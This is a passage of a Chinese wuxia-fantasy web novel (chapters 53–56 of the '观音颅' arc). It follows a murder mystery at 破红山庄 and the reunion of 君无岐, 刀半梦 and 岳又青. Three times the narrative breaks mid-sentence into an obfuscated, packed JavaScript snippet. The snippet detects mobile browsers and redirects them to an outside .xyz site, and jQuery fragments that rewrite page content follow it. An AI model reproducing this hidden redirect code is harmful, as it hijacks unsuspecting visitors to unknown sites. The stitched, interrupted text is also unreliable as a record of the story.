“这我就不知道了,他们不肯告诉我更多事。”岳又青沮丧道,“现在也不知道那个鬼影究竟是为什么杀人,又是怎么杀的人,你说咱们要不要先躲一躲?”
召南张张嘴,正考虑是否要把昨天看到灰影的事说出来,可话还没出口,门外蓦然响起敲门声。
“又青,你在吗?”
是陆元和的声音。
53. 观音颅(十二)
“陆元和来了!”岳又青大惊,“你们先躲一躲!”
乒铃乓啷一阵响,数息之后,她一脸紧张地去开门。
“啊,元和哥。”岳又青推了下鼻梁上的琉璃镜,“我刚刚在做机关没听到,有什么事吗?”
“没什么大事,就是山庄出了点事,我担心你会害怕,来看看你。”陆元和风度翩翩道,“你没见到什么奇怪的人吧?”
岳又青摇头,“没有。”
陆元和挑眉,“你脸色这么白……真的没事?”
岳又青往后退了一步,身上所有配饰都是一阵叮当乱响,“现在山庄里一定很乱,你还是先去处理事务吧,我这里没关系的。”
说着她就要关门。
“啪!”
陆元和一把将门拦住,指关节绷紧发白,一双黝黑眼睛紧紧盯着她。
“又青,你怎么这么着急?”他笑道,“不让我进去喝口水么?”
他手臂上绽起青筋,指尖扣紧门板,猛然用力,猝然推开大门!
岳又青噔噔噔倒退几步,惊呼,“等等!”
可陆元和根本没听她说话,长驱直入,一路直到卧房门前!
“你干什么!”岳又青恼怒道,“擅闯我的房间,这就是你们破红山庄的待客之道?”
陆元和扫过屋内光景。
屋内静悄悄的,没有任何其他人在的迹象,桌上放着一个食盒,里面的饭菜还未来得及拿出。旁边则堆了一小堆零件,还有个未完工的小机关人。窗户半开着,外面就是山崖,不可能有人从这里逃走。
他径直走向房间里最有可能藏人的地方——架子床。
只是手指尖刚碰到帷帐,忽然帐子一晃,一物从中倏地扑出来,直冲他的脸而来!
陆元和一惊,下意识就要摸武器,定睛一看,却是只黄不黄灰不灰的猫。
那只猫伏在地上,尾巴竖起,不住朝他哈气。
他没把这猫放在眼里。
“我只是担心又青而已。”陆元和道,“看来你这里的确没什么危险,我便放心了。这里挨着山林,野猫多有野性,你要逗它们的话还是小心,别伤着自己。”
岳又青脸色很难看。
“现在看过了,你可以走了吧?”她毫不客气道,“门在那边,需要请你吗?”
陆元和知道此时必然已经得罪了她,但形势如此,不得不为,毕竟陆元飞受伤一事让陆德辉大为光火,咬牙切齿要抓出凶手,恰恰这时候鬼影又冒了出来,两相叠加,更是暴跳如雷。他想起平日岳又青的态度,自得只要事后多哄哄她就好,根本没放在心上。
“群贤会在即,山庄人多,你还是多加注意。”他跨出门外,殷殷道,“明日父亲将在主堂宴请各位江湖豪杰,届时你——”
“嘭!”
大门在他脸前毫不留情关上,差点撞到他鼻子。
陆元和,“……”
算了,他不和她一般见识。
岳又青蹲在门口听他走远了,这才一路小跑回到卧房,“无岐姐姐,他走……啊!”
刚才不知道躲在哪里的俩人已经出来了,刀半梦靠在桌子旁边,随手拾了个零件砸岳又青脑门上。
“你可真是向着你无岐姐姐。”她冷笑,“这许多年,你明明知道她还活着,居然一个字都不告诉我?”
岳又青心虚地一缩脖子,“这个,事出有因嘛……”
“有什么原因,倒是说给我听听。”刀半梦眯起眼,冷森森道,“不给我一个好理由,你俩就一块下去做姐妹。”
她袖子抹了下刀身,其含义不言而喻。
“小刀姐姐不要生气嘛。”岳又青溜到她身边,轻轻一拉她袖口,“其实当时……”
她有些为难地瞥了眼君无岐,“无岐姐姐状态很差,而且发生了一些事,根本来不及告诉你们,就连我和我娘,也是后面才知道的……”
君无岐轻轻放下竹杖,叹了口气。
“算了,又青,还是我来说吧。”
召南轻巧地跳上她膝头,把脑袋往她手中一放。
君无岐一只手挠挠它下巴,空出一只手解开眼纱。
“看。”她轻声道,“看到这双眼睛了吗?”
刀半梦骤然沉默。
隔了好一会她才艰涩道,“这是怎么回事?”
“这是岳姨为我做的‘点生目’。”君无岐指尖按上眼球,触感坚硬微韧,“当时我不是要不告而别,而是。”
她停了一下才说,“有人剜去了我的眼睛。”
“啪!”
一只杯子被暴怒的刀半梦掷在地上,连带着旁边多宝架都晃动不止,文玩笔洗等物劈里啪啦地滚下来,和那可怜的杯子作伴去了。她腾地站起,刀已然铿然出鞘半截,“是谁干的?”
她脸色差到极点,脸侧纹路都似乎流动起来,眼神在那一瞬间令岳又青感到恐惧,就连召南也呼地抬头,警惕望着她。
屋里只有君无岐仍然如常。
“都过去这么多年了,知道是谁有什么意义?”她淡淡道,“若我说是皇帝呢,你也要去杀了他?”
“君子慈!”
刀半梦如猎豹般扑到她面前,一把拉起她领口,咬牙切齿,“你知道我会办到,无论是谁——哪怕是皇帝!”
刀鞘当啷落地,刀尖入柱,劈出一道深深裂痕,房梁吱呀一响。岳又青吓得不敢说话,召南倒是勉强支棱了一下……不过程度也就是呲牙而已。
君无岐向后仰着头。
很淡地笑了一下。
“就是这样……”她轻轻说,“我才不愿意告诉你。”
刀半梦骤然失语。
“你真过分。”过了好一会,她才说,“若论狠心,没人比得上你。”
她松开手。
君无岐镇定自若地整理好衣襟。
“那你帮我吗?”
刀半梦把刀收回鞘中,阴着脸坐在榻边,冷笑,“不帮。你爱死不死。”
“哦。”君无岐摸索着给自己重新系上眼纱,“那好吧,我就带着这残破之躯去找人算账,无非就是寻仇失败被人一刀剁了罢了,到时你们别忘了把我尸体带回来埋了,免得死了还要做个孤魂野鬼……”
“我真是服了!”
刀半梦啪地一扔刀。
“帮你帮你!”她狂怒道,“你到底要干什么,先给我个准话!”
“我还没想好呢。”君无岐托着下巴若有所思,“还是得等到群贤会之后,那人想必会自己出来。”
“哼,你自己看着办。”刀半梦虽然这么说,脸色却肉眼可见地好了不少,“要干什么,你到时说一声就是了。”
屋中气氛终于回温。
岳又青这时才敢小心翼翼地开口。
“小刀姐。”她说,“你伤口又裂了……”
“你受伤了?”君无岐动作一顿,“伤到哪了?对了,我还没问你,你来破红山庄做什么?总不能是来参加群贤会的。”
“我参加什么劳什子群贤会。”刀半梦不屑道,“还不是因为你!”
“嗯?”君无岐发出疑问,“和我有什么关系?”
刀半梦任由岳又青解开她手臂上绷带给她重新上药,斜眼看君无岐,“算了,和你说这些也没什么意思。总之那个陆老狗不是什么好东西,他在山腹里有个密室,在里面捣鼓了些邪门勾当,我差点折在里面。”
君无岐挑眉,“那你怎么跑出来的?”
“别管。”刀半梦悻悻,“反正我跑了。”
君无岐思忖片刻,忽然想起什么。
“你是不是遇到了一个和我长得很像的人?”她问,“你在哪遇到的?”
刀半梦有些意外。
“你猜出来了?”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969069|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,“嗯,是,我在一家药材铺碰见的她,她要买些挺偏门的药材,基本都是用来养蛊虫的。”
蛊虫?
君无岐转头问岳又青,“说起来当时乱得很,我也没仔细问你,那个找你去生塑的到底是什么情况,怎么会让陆元和学了去?况且我见过那姑娘,她似乎生魂不定,只能依靠蛊虫来稳定生塑效果,我之前从未见过,这是为什么?”
“啊,你竟然已经见过她了?”岳又青本来还想瞒着这事的,没想到又绕了回来,急忙回答,“对,陆家就是找我来把她塑成你的模样,我当时本不想接这个活,可临到走了那姑娘忽然跪下来求我……她说若我不做,她就要死在这里,我一时心软,就同意了。”
“那陆元和是怎么学会的?”
提起这个岳又青就心虚,不敢看她,“嗯……反正就是……学会了呗。”
君无岐,“……”
她缓缓道,“你是不是又犯你那以貌取人的破毛病了?”
岳又青喜欢美人。
这本来无可厚非,可她又心软,尤其见不得美人含泪,若是再软语求她,那简直就是必杀。
“那他当时眼眶都红了,我就想着跟在旁边看一看也不会有什么问题,反正就那一次……谁知道他就学会了嘛。”岳又青绞着手指,看天看地,“没关系啦,反正他没全会!”
“哼。”君无岐冷笑,“之后我再跟岳姨提。现在先说正事,她为什么会需要蛊虫?”
“按理来说,‘生塑’成功之后根本无需外物维持,大概数年后面容会慢慢恢复成原样,命线则融入己身,下场都不会太好。”岳又青认真道,“因为说到底这也是一种逆天改命之法,报应不是报在执刀人就是被改人身上,这是天地运行的规则。但我知道总会有人不甘心面容恢复,会想方设法地延长维持时间,她想必也是如此吧。”
君无岐想起谷菱儿,不得不说,她确实像是会干出这种事的人。
“就我所知,湘山那边有一种蛊,名叫‘留青’,有维持容貌之功效,但副作用就是精气日渐薄弱,畏热怕光,最后不得不住到地下。”岳又青说,“她是不是弄来了这种蛊虫?”
“听起来很像哎。”召南说,“当时在墓中时,她就是这么说的!”
“那就没错了。”岳又青笃定道,“我没想到,她为了一张脸竟能做到如此地步……”
“这样做最后会怎么样?”刀半梦忽然插了句嘴,“衰弱而死吗?”
岳又青默然。
“没那么简单。”她轻轻说,“精气衰弱会带来一系列后果,还有‘生塑’中用的命线也会受到干扰。她最好的结局也就是疾病满身,痛苦而死。”
“不好的呢?”
“……穿心烂肺,皮肉皆腐。”
刀半梦眨了下眼睛。
“当时遇见她的时候我就觉得她是个狠角色,谁知道这么绝。”她道,“有这等意志,做什么不能成啊。”
君无岐没有对此发表评价。
“明天就要为群贤会开宴,今日便有鬼影杀人。”她轻抚下巴,若有所思,“你们说,怎么就这么巧呢?”
“你的意思是,那鬼影不想开宴?”刀半梦道,“可那也应当杀来了的宾客,为什么要对弟子下手?”
召南仰起头。
“说起来,我似乎见过那鬼影。”它犹豫道,“就在花海那里。我觉得,它好像很关注陆元飞。”
屋中静了下来。
“唉,现在说那么多也没什么用。先休息吧。”岳又青摇头,“说到底这破红山庄和我们也没什么关系,管他鬼影人影,还是无岐姐要杀的人最重要。”
“这倒是。”刀半梦表示赞同。
几人便略作收拾,挤挤在一张床上睡了。
第二天一早,一则爆炸性消息在整座山庄当头炸响。
陆德辉死了。
54. 观音颅(十三)
岳又青匆匆走进正堂。
此时这里是一片狼藉,原本摆好的桌椅都被打翻,到处都是脚印,那片原本纯净透彻的琉璃壁溅满鲜血,一具无头尸体坐在壁下,看衣着正是陆德辉无疑。海水池中的水染成难看的淡褐色,其中鲛人不知所踪。
但已经无人再去关注鲛人了。
因为水池正中央的那座水月观音头颅不翼而飞,取而代之的……是陆德辉的头。
他面上双眼圆睁、充满恐惧,与水月观音素雅闲适的姿态格格不入。
还有血从边缘流下,浸遍观音全身。
“到底是谁杀了我兄长!”一个中年男人站在中央,眼珠通红,癫狂大吼,“这是对我破红山庄的挑衅!我要杀了他!把他碎尸万段!”
“行辉兄,行辉兄!”阮清波忙不迭地安抚他,“你且冷静,现如今还是应当先让德辉兄入土为安才是……”
陆行辉一个五大三粗的汉子一把抱住阮清波,呜呜在他肩头痛哭,“我怎么这么惨啊,昨天才死了一个徒弟,今天又死了大哥,我那大侄儿还被人打伤了,到底是谁与我破红山庄过不去!”
阮清波眼看着表情都木了,拼命挣扎着想要出来,可陆行辉却越抱越紧,到最后他也只能放弃挣扎,任由陆行辉把眼泪都蹭他衣服上,还得说些场面话。
“还是莫要太伤心了,行辉兄。”他面如死灰道,“这么多人都在,那凶手必定跑不出去的。”
陆行辉在他身上用力一拱,瓮声瓮气道,“阮兄说的是,我必不会让那可恶的凶手逍遥法外。”
阮清波一个踉跄,大半个肩头都湿透了,看样子是想立刻遁走去换衣服,但最终还是忍住没动。
岳又青没掺和他俩,脚步轻轻地转到琉璃壁前,停了下来。
这里应当发生过一场惨烈的战斗。
厅堂里四处都是碎屑残痕,其中一道很值得注意——那是一个地上的凹痕,乍看像个脚印,可实际上必然不是,因为人类不可能有这么大的脚。
岳又青细细打量过细节,在心里暗暗比了下尺寸,一惊。
她怎么觉得……这是某种妖兽的脚印?
说到妖兽,花海中不就有一只?
她赶紧挥开这个念头,转而去看其他地方。
琉璃壁上还有几道深深的抓痕,隐没在血迹之后,差一点就能抓穿,地上还有些细小的碎屑。她蹲下一看,无色透明,大概是琉璃的粉末,其中夹杂着一物,白色,光润柔和,十分不起眼。
那是颗不大的珍珠。
岳又青将珍珠捡起来,只觉触感粗糙,翻过来一看,背面有道深深的刻痕,由里及外,把整个表面都一分为二。
这是从什么东西上一把拽下来的。
什么样的妖兽会带珍珠?
她正觉得自己想法无稽,目光落在琉璃壁后,蓦然一顿。
——泉先。
传说中泣泪成珠的鲛人。
她站起身,左右看看,无人关注她。
她又去看陆德辉的尸体。
岳又青自小跟着她娘学偃术,家里至今还摆着副人体骨架,对于尸体结构那是研究得一清二楚,对眼前这具自然也是毫无畏惧之心。陆德辉是坐姿,胸骨呈现可怕的塌陷,数根肋骨都已经折断,但很奇怪,大堂里其他地方都有不少血迹,他坐的这个地方却只有很少一部分。脖颈处的伤口切面很粗糙,颈椎上有很多斫痕,似乎是反复劈砍留下的。她正要仔细看看究竟是什么利器造成的伤口,身后传来一阵喧哗。
“大少爷,大少爷!”有人高喊,“快松开手!二少爷要喘不上气了!”
岳又青回头。
只见正堂门口,陆元和背对着众人站着,陆元飞一把拉着他的领子似要打他,一帮人扯这个拉那个,吵吵嚷嚷,乱得好像镇上赶大集。
“昨夜我看到你和父亲在一起,你竟然说你什么都不知道!”陆元飞脸庞通红,怒吼道,“父亲生前待你不薄,你怎能如此凉薄!”
陆元飞眼看着伤就还没全好,头发凌乱,嘴唇干裂,若不是有人拉着,只怕早就一拳砸在了陆元和脸上。陆元和任由他拉扯自己,讥讽道,“父亲待我如何,你不清楚吗?”
岳又青今日戴了琉璃镜,清楚看到陆元飞面色变了。
那是一种她很难描述的神情,像是被刺痛,又好像是某种震惊下的释然,他低声道,“你……”
陆元和伸手推开了他。
“我昨夜确实见了父亲,但只是聊了聊许英去世一事,父亲想要我协助调查。”许英就是陆行辉那个溺死的弟子,“兄长,你有什么线索吗?”
陆元飞没想到他突然提起这事,顿时一愣。
陆元和低头,抚了抚袖子,“徐师兄死前,曾到你住处去呢。”
他抬起眼,很淡的笑了一下,但眼中却毫无感情,“你还砸坏了他的铃铛。怎么,师兄忘了?”
他指的是许英试图阻止他和那盲女交手的事。
陆元飞显然没忘,神色复杂,“你怎么知道的如此清楚?”
“那一日兄长如此神威,我这当弟弟的自然也想一窥风采呀。”陆元和眯起眼,“兄长,徐师兄待你不薄,你可千万不能凉薄啊。”
“你!”陆元飞又想去拉他,被旁边众人七手八脚拦下,他愤然一甩手,呵呵冷笑,“你若不说,我倒是差点忘了。初红呢?”
“从昨天开始就一直没见红夫人。”
“不知道去哪了……”
“大抵是去送徐师兄了吧?”
“红夫人和徐师兄不是关系不好么?”
“我刚刚还在徐师兄灵堂那里看到她了……”
“行了!”
陆元飞被这些人吵得头疼,他远远一瞥正堂,情不自禁露出少许惧色,把头一扭,“快让父亲入土为安吧。”
说完他转身就走。
“元飞!”陆行辉追出来,朝他背影大喊,“你要去哪?”
陆元飞侧脸,抛下几个冷冷的字,“去找凶手。”
“哎,你这孩子!”
陆行辉又要喊他,被陆元和伸手拦住。
“算了,二叔。”他轻轻道,“兄长一直都是这样的人,你拦不住他的。”
陆行辉眼睛还红着,一听这话眼更红了,好像个大兔子。他抽了下鼻子,瓮声瓮气道,“元和,你心里肯定也很难受吧,没事,二叔抱抱——”
陆元和闪电般躲开,嘴角抽动一下,“不必了二叔,我去找人来收敛父亲遗体。”
这三个人看起来都不太像凶手。
但岳又青对自己的判断没多大自信,还是回去转述给君无岐再说。她正要贴边悄悄溜走,忽然看到远远站着一个短须中年男人。
这人身形清瘦,头发绾得一丝不苟,穿件青底仙鹤绕松道袍,正遥遥往这边看来。
他好像在看一出戏。
似乎是注意到了岳又青的目光,他骤然抬眼,对视后露出一个古怪的微笑。
岳又青,“!”
她感觉自己心脏狂跳,不敢再看,急忙扭头。
那是谁?
恰在这时山庄中的大钟敲响,足足六
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974217|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,代表现在是巳时。岳又青想到今天自己的任务还有要去许英的灵堂看看,不敢再拖延,举步就要离开。
“啊!”
有人发出惊呼。
“红夫人……你这是怎么了?”
红夫人这时候居然回来了。
她身上的衣裳红得像血,衣襟散乱,发丝也未扎好,凌乱垂着,一双眼直勾勾地看着陆元和,声音压下来,竟然有几分粗哑。
“许英呢?”
陆元和挑眉,“不是在灵堂中躺着吗?”
“呵。”她冷笑,“我是问你,许英的尸体呢?”
这话一出,众人皆惊。
“什么意思,徐师兄的尸体不见了?”
“可好端端的怎么会不见?”
“莫不又是那鬼影……”
“不见了就去找,来问我是什么意思?”陆元和懒懒道,“又不是我搞没的。再说。”
他目光上下扫过红夫人,嗤笑,“你凭什么身份来问我?”
红夫人脸涨得通红。
他这句反问真是击中了她最不敢直视的东西——她的身份!
四周低低的笑声更是加重了这种羞耻,她怒视陆元和,咬牙,“我好歹也算是庄主座下弟子,来问一句有什么干系?”
“哈哈哈哈哈哈哈!”
陆元和大笑。
“你说你是父亲座下弟子?”他嘲讽道,“可父亲不是已经把你逐出师门了么,就在——”
红夫人脸色骤变,“别说了!”
但为时已晚,陆元和那两片薄薄的嘴唇中已经吐出了她此生最大的秘密,“——就在你决意要改装成女子之后。”
红夫人倒退一步,脸色煞白!
岳又青震惊地看向她,不,是他,她无论如何也没想到,红夫人竟然是个男人!
想到他之前重重作态,她忽然又觉得不是那么令人意外。
可他究竟为何要这么做?
“我只不过是来问问你许英之事,你何必要如此羞辱我……”红夫人攥紧双拳,羞怒道,“直说你不知晓就是了!”
陆元和嘲弄地看着他。
“你为何如此关心许英,不是很讨厌他吗?”他轻轻道,“不是因为……我兄长亲近他多过你吗?”
接连不断的八卦炸得岳又青头晕目眩,再看其他人,也都是一副看戏正兴起的样子。然而这还没完,又听陆元和轻描淡写道。
“你要一个厌恶之人的尸体做什么,是想要他的血吗?”
“够了!”红夫人怒喝,“勿要拿这些无中生有的东西来揣测我,我根本没有那个意思!”
“那你是什么意思,厌恶多年的人忽然死了,你良心发现,开始关心他了?”陆元和咄咄逼人,“真是看不出来,你是这种人呢。”
哇哦。岳又青在心里感叹,就是这样,再激烈点!
红夫人却咬了下嘴唇,不再吭声,只是恨恨瞪着他。
“哎呀哎呀,没必要没必要。”陆行辉看够了这时候倒是想起来当和事佬了,插在两人中间打哈哈,“小红啊,你去看看元飞,别让他做傻事。”
红夫人不甘心地瞥了眼陆元和,这才慢吞吞应了。
“二叔干嘛拦我。”陆元和抱臂道,“你放那样一个人在兄长身边,就不怕……”
“好了。”陆行辉低声道,“你兄长正是疯的时候,别惹他的人。”
陆元和从嘴唇里面哼出个单音,不说话了。
“说起来我还没问过你。”他的声音越压越低,“月谷那边如何了?”
55. 观音颅(十四)
这破红山庄真是太有趣了。
岳又青心想。
怎么每个人都有秘密。
这两人交谈声实在太小,她听不清,况且只是短短几句便分开了,都是若无其事的样子。她便不再多停,去了许英灵堂那里,但说实话并没什么好看的,只是一个白棚子,里面有些小弟子在忙碌。陆元飞不知所踪,其他人也一直没出现。
大概是庄主死了一事太过震撼,整个山庄上下都透着一股凌乱的颓靡气氛。她趁着没人注意,偷偷去伙房顺了点吃的,一路提着直奔自己客房小院。
里面两个人一只猫都在。
因为不能出去,俩人都显得有点无聊,一个坐在床边发呆,另外一个则是在窗下小榻上擦刀——说实话,气氛很诡异。
岳又青有点不知道怎么开口的那种诡异。
君无岐救了她,“你出去查探到了什么?”
她呼出口气,急忙把自己看到听到的消息都说了。
“嗯?”刀半梦倒是有了点兴趣,“你说你看到一个短须男人?”
“是。”岳又青没想到她最先关注的竟然是这个,“怎么了吗?”
“我失手被陆老狗关在地道里,就是这个人把我放了。”刀半梦摸着下巴道,“他还跟我说了句很奇怪的话。”
“嗯?”
两个人都朝她看来。
“什么话?”
“他说。”刀半梦慢慢道,“‘心心复心心,结爱务在深。’这是什么意思?”
“这……不是说人家夫妻感情好吗?”岳又青犹疑道,“为什么说这个?”
召南抬眼去看君无岐,却蓦然发现她脸色难看得可怕,顿时被唬了一跳,急忙跳上她的膝盖,“你这是怎么了?”
君无岐面色从来没这么白过,简直接近了透明,就连嘴唇也毫无血色,而她本人似乎毫无察觉,甚至还朝她们微笑了一下,“什么?”
“这句话有什么问题吗?”刀半梦心惊肉跳,“这么听不得?要不我现在就去把那个人杀了……”
“那倒不必。”君无岐仰头,“他是我的猎物。”
召南有点担心地把爪子放她手背上,被她反手握住。
“我只是很高兴。”她轻轻道,“这么多年,我终于找到他了。”
岳又青和刀半梦对视,没敢问这其中到底有什么渊源。
“那好……吧。”岳又青小心道,“要不我再出去打听打听?”
“不用,既然知道他在这里,那还有什么可着急的。”君无岐道,“今夜出去找到他住处,一剑杀了就是了。”
轻描淡写,但杀气四溢。
“好。”刀半梦顿时放心了,“到时我与你一起去,必能让这老狗断气!”
岳又青便也不再多嘴,只有召南还是很忧心,拱在她怀中一动不动,还试图用尾巴勾她手腕。
君无岐就轻轻顺顺它的毛。
“既然如此,还是得给你找个合用的武器。”刀半梦道,“那个锏一时用用还行,毕竟不能用来杀人。”
“这个我能办!”岳又青小朋友似的举起手,眼珠狡黠地一转,“我在陆元和那里看到过一把不错的剑,兴许能弄来。”
“嗯?”君无岐有点意外,“你们的关系这么好吗?”
“当然没那么好。”岳又青嘿嘿笑道,“但谁让他总想从我身上得到点什么呢……那先付出点代价,不是很正常吗?”
她说完,才发现其他两人一猫都盯着她。
“怎么了?”她有点慌张,“我说的不对吗?”
“我倒是很支持,但很明显你无岐姐姐不愿意。”刀半梦把胳膊往两侧一架,翘着腿道,“我说啊,又青都长这么大了,也该让她自己做决定,小鹰总是要飞的,你又不是她娘……看我干嘛?”
君无岐覆着眼纱的面孔面无表情对着她。
“看你的魂火是不是黑的。”她冷笑,“这破红山庄里哪有一个好东西?疯的疯狠的狠,你还要让她主动去接触陆元和?你怎么不让我去给你画画?”
“什么?”刀半梦一下坐起来,“我确实一直很好奇你画画是什么样的,就是没好意思说……要不你先画一幅?”
召南毛都炸了。
“冷静!”它嗖嗖爬到君无岐肩膀上,“这都是我们自己人,别动手!”
“我哪有想动手。”君无岐温柔道,“只是活动下手腕而已……”
“那你把锏收起来啊!”
“这不是好好在这放着吗?”
“符纸、符纸也不行!纸人放下!不要念咒啊!”
“等等等等,你抄凳子是什么意思?”
“啊啊啊啊啊小刀姐你不要兴奋啊把刀放下!”
“住手!你们两个都给我住手!”
“救命啊啊啊啊啊啊啊!”
一盏茶后。
一个坐在床边发呆,另外一个则是在窗下小榻上擦刀。
与刚才的区别是两个人身上多少都带了点刮痕,有凳子腿勾的,有刀鞘蹭的,还有猫挠的……总之就是十分精彩。
“你俩就是想打一架吧。”岳又青叉腰气势汹汹,“两个人伤都没好全,不许乱动!都给我在这待着!”
君无岐绝口不提打架的事,只担忧道,“又青,你还是要去……”
“没事的无岐姐姐。”岳又青转向她,语气也轻柔下来,“只是去讨要把剑而已,不会有事的。”
君无岐沉默了一会。
“那好吧。”她闷闷道,“你带上召南……若是发生些什么,它可以变成小马驹带你走。”
刀半梦没再笑她保护欲过盛,只是眯着眼看着这一幕,不知道在想什么。
召南倒是很听话,当即跳下来,哒哒哒跑到岳又青面前,仰头看着她。
“好吧,那我就带着猫咪一起去。”岳又青弯腰把召南抱起来,“没事的无岐姐姐,我去去就来!”
她脚步轻快地跑了出去。
屋里渐渐安静下来。
半晌。
刀半梦若无其事道,“那个家伙怎么得罪你了?”
君无岐抬头,“嗯?”
“就是你要杀那人。”刀半梦烦躁地一甩小辫子,“他干什么事了?”
君无岐一时没有动,她也不着急,就静静等着。
“一些……恩怨。”君无岐回答,“已经很久了,但还是得做个了断。”
刀半梦斜觑她。
“好吧。”她说,“不愿意说就算了。”
又是沉默。
半刻钟后。
刀半梦拍案翻身而起,噔噔噔窜到君无岐跟前,一把摁住她肩膀,“不行我忍不住!告诉我,就现在!”
君无岐,“啊?”
“你们,到底是怎么回事,为什么,告诉我!”刀半梦低声咆哮,“我要知道,必须!”
君无岐歪头,“为什么?”
“什么为什么?”刀半梦愤然道,“十年,十年了!你这人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980126|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就跟闭了嘴的蚌壳一样死不开口!想要知道你点事怎么那么难?”
“可是。”君无岐有点困惑,“为什么要知道?”
刀半梦被她气笑了。
“到底我是外族人还是你是外族人。”她阴森森道,“交友之道,你不明白?”
君无岐正要再开口,忽然窗外炸起一道惊空巨响,吓得一大群鸟扑簌簌飞过,屋宅甚至都有些摇晃,一只铜镜啪地扣在桌子上。
“怎么回事?”她霍然起身,“哪里来的动静?”
不用她说刀半梦已经飞身跃到窗前,机警地四下打量,“好像是什么东西炸了,在山上。”
她这一句话还未说完,就听一道更剧烈的爆炸声响起,其威势之大几乎要撼动整座山峰。君无岐再也坐不住了,起身就要往外走。
“你干什么去?”刀半梦喊她,“你那耳朵还没全好,回来!”
“不行,我得去找又青。”君无岐步履不停,“她若是出了什么事,我怎么跟岳姨交代?”
“坐下!”
刀半梦厉声喝道。
“光想着又青,怎么不想想你自己?”她气极,“看又看不见,听也只能听一半,你要去干什么,给人送菜?”
君无岐咬紧牙关,挤出几个字,“我不是……”
“不是什么你不是。”刀半梦嘀咕,“在这等着,我去看看。”
君无岐劈手拉住她。
“我是瞎了,又不是废了!”她吼道,“没有你,没有别人,这十年我不一样过来了!别用那种语气对我说话!”
刀半梦一怔。
窗外急速掠过一只飞鸟,映在她剧烈收缩的瞳孔中,那一个瞬间她有很多想说的话,但最后都在唇齿间融化,化作一滴眼泪渗透进心脏,苦得她舌头发麻。
“……我……不能……”她喃喃。
恰在此时第三次爆炸发生,天摇地晃,房梁不堪重负地吱嘎响动。君无岐再也站不住了,心焦令她无暇捕捉此刻刀半梦的心情,扬手就要往外走。
“等等!”刀半梦皱紧眉头,“我和你一起去。”
君无岐有些意外,但并没有说什么,两人并排出门。客房这里住了不少客人,此时大多都已经跑到了外面,呜呜喳喳说什么的都有。其中一个身量不高的男子戴着顶奇怪的帽子,简直要淹没在人潮里,一边挥手一边大喊“我的包袱呢!”“东西丢了你们山庄也不管”之类的话,看着倒像是藏金阁的人。
刀半梦知道她们外形显眼,随手捞过两个斗笠,一人一个戴上,无声无息掠过人群。
“在山上。”刀半梦领先她半步,不住环顾四周,“这边走,那里有树。”
君无岐一声不吭,低着头。眼看两人就要上山,忽然有人从山道上疾步冲下来,险些撞上她。
“少爷,您重伤未愈,还是歇着吧,让我来!”红夫人紧跟其后,衣摆翻飞,“庄主看到您这样也会不高兴的,您就听我一句!”
陆元飞面沉如水,快步流星,甩下硬邦邦几个字,“别跟着我。”
“少爷,少爷!”
红夫人还要跟着劝他,却见他像是忽然反应过来什么,骤然脚步一停,回头看去。
“你在这等着,不许跟着我。”陆元飞一指他,“不然我就翻脸,听到没?”
红夫人一愣,只得讷讷应下,看他蓦然回身,竟然又顺着原路回去了。
而目标,竟然是刚刚擦肩而过的两个人。
那又是谁?
56. 观音颅(十五)
“喂!”
远远的喊声从身后传来。
刀半梦和君无岐都没意识到是在叫自己,径直往前。
“等一下!”
陆元飞从身后追来,抬手就要去拍君无岐的肩,然而刀半梦反应更快,双刀一刀斜挑,滑出的半截刀身已经靠近他的手腕,斗笠下一双眼凶悍如狼。
“你干什么?别动手!”她几乎是在咆哮,“找死?”
“我没那个意思。”陆元飞举起手,“我只是想看看这位是不是……”
君无岐已经听出了他是谁。
她握着锏,低声道,“你想再打一架?”
最后几个字俨然是已经起了杀心。
“不不不,我不是那个意思!”陆元飞道,“我就是想说,您有什么需要吗?有没有我能帮忙的地方?什么需要都可以找我!”
刀半梦狐疑地盯着他。
“无事献殷勤,非奸即盗。”她当即下了定论,“我们走。”
陆元飞拽着她衣角。
他直直看着君无岐,眼珠几乎一动不动,那情形几乎称得上惊悚,甚至连刀半梦都察觉到了一丝不安。他固执道,“来找我,什么都可以!”
“你究竟在说些什么东西!”刀半梦来了火,“若是想打,我奉陪就是!”
君无岐拦住了她。
她面朝陆元飞,轻轻抬起一点斗笠。
他的眼睛瞬间亮了。
“果然……我就知道……”他激动到语无伦次,“是我不好……我竟然……竟然……”
君无岐竖起一根手指。
“嘘。”
陆元飞立刻闭嘴,那情形简直如同见到了主人的狗。刀半梦在一旁咋舌,“你们认识?”
“不不不,不算认识,只是有些交集而已。”陆元飞道,“君……你们要去哪里?需不需要我帮忙?”
君无岐居高临下,道,“刚刚那三声爆炸是怎么回事?”
